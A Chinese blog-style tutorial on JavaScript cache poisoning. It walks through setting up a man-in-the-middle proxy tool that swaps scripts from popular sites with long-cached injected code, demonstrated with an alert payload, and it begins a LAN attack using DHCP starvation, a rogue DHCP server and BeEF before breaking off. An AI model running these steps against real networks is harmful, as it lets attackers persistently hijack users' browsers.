JSON

Javascript缓存投毒技术分析

字号+ 作者:H5之家 来源:H5之家 2015-11-05 08:03 我要评论( )

不久前@三好学生师傅买了一个wooyun wifi,然后聊到了缓存投毒: 然后看到wooyun wifi的这个说明: 默认情况下该功能附带缓存投毒功能,将视图缓存所有的页面至20

不久前@三好学生师傅买了一个wooyun wifi,然后聊到了缓存投毒:

Alt text

然后看到wooyun wifi的这个说明:


默认情况下该功能附带缓存投毒功能,将视图缓存所有的页面至2099年,您可以通过清除所有缓存以及浏览器数据来清除缓存投毒的影响。


觉得这是个很不错的技术,所以查询谷爷,度娘,拜读了@EtherDream 大牛写的文章以后,就有了这篇文章,也算是一个总结。

js缓存投毒说白了就是受害者的浏览器缓存了一个被我们篡改的js脚本,如果缓存没有被清除,每次这个受害者访问网页的时候都会加载我们的js脚本。

那他是什么原理呢,很简单,其实就是浏览器的缓存机制,通常,为了加速各种静态资源的访问,各大网站会把一些静态资源缓存到客户端,这样一方面能提高客户体验,一方面也能减轻web服务器的压力。

浏览器缓存控制机制有两种:HTML Meta标签 以及 HTTP头信息,通常,web开发者可以在HTML页面的<head>节点中加入<meta>标签,比如:


<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

代码的作用是告诉浏览器当前页面不被缓存,每次访问都需要去服务器拉取。 更多浏览器缓存机制我就不多说了,详情请戳我。

要想预加载并缓存一个脚本很容易,只需new Image().src=''。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。

安装node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下载
tar zxvf node-master.zip //解压
cd node-master
./configure
make //编译
make install //安装

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下载

tar zxvf node-master.zip //解压

cd node-master

./configure

make //编译

make install //安装

安装closurether

npm install -g closurether

npm install -g closurether

安装phantomjs

下载安装,具体详见 phantomjs,根据自己的系统进行选择。

测试过程中,使用了EtherDream大牛的demo。具体过程如下。

下载安装:


root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install

root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js

root@kali:~/Desktop/# cd js

root@kali:~/Desktop/js/# npm install

更新缓存列表

root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

root@kali:~/Desktop/js# cd tool/

root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

Alt text

这个脚本的作用主要是为了找出各大网站中缓存最久的脚本资源,也就是我们要进行投毒的脚本链接。网站可以再url.txt里面添加,之后将生成的json复制到 asset 目录。


root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

运行

root@kali:~/Desktop/js/tool# cd ..
root@kali:~/Desktop/js# node index.js

root@kali:~/Desktop/js/tool# cd ..

root@kali:~/Desktop/js# node index.js

测试:

浏览器代理 HTTP -> 127.0.0.1:8080 访问任意 HTTP。

Alt text


关闭代理 打开126,360等网站(chrome测试成功,火狐失败)成功弹框。


Alt text

关闭浏览器(不清除缓存),再次打开,访问360时依然会弹框。

其中,index.js实现了代理并替换原本静态脚本响应内容,并将响应头中Cache-Control字段改为max-age=31536000,如下图代码:

Alt text

而替换的脚本为asset目录下的stub.js,stub.js注入外部js关键代码如下图:

Alt text

其中 为我们可控的js,上例中该js的内容为


alert('xss run: ' + location.href);

alert('xss run: ' + location.href);

我们可以通过修改该脚本内容来实现不同的功能。

此次实战在局域网中结合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻击机使用了kali2.0。

1.开启beef

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef

root@kali:~# cd /usr/share/beef-xss/

root@kali:/usr/share/beef-xss# ./beef


2.配置closurether

获取最新的缓存列表

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • JavaScript转换与解析JSON方法实例详解第1/2页

    JavaScript转换与解析JSON方法实例详解第1/2页

    2016-02-10 21:25

  • 未来编程的9大猜想:JavaScript不必亲自编写

    未来编程的9大猜想:JavaScript不必亲自编写

    2016-01-30 13:01

  • Objective-C与JavaScript交互的那些事

    Objective-C与JavaScript交互的那些事

    2016-01-30 13:00

  • 实用的javascript小技巧

    实用的javascript小技巧

    2016-01-25 19:05

网友点评
<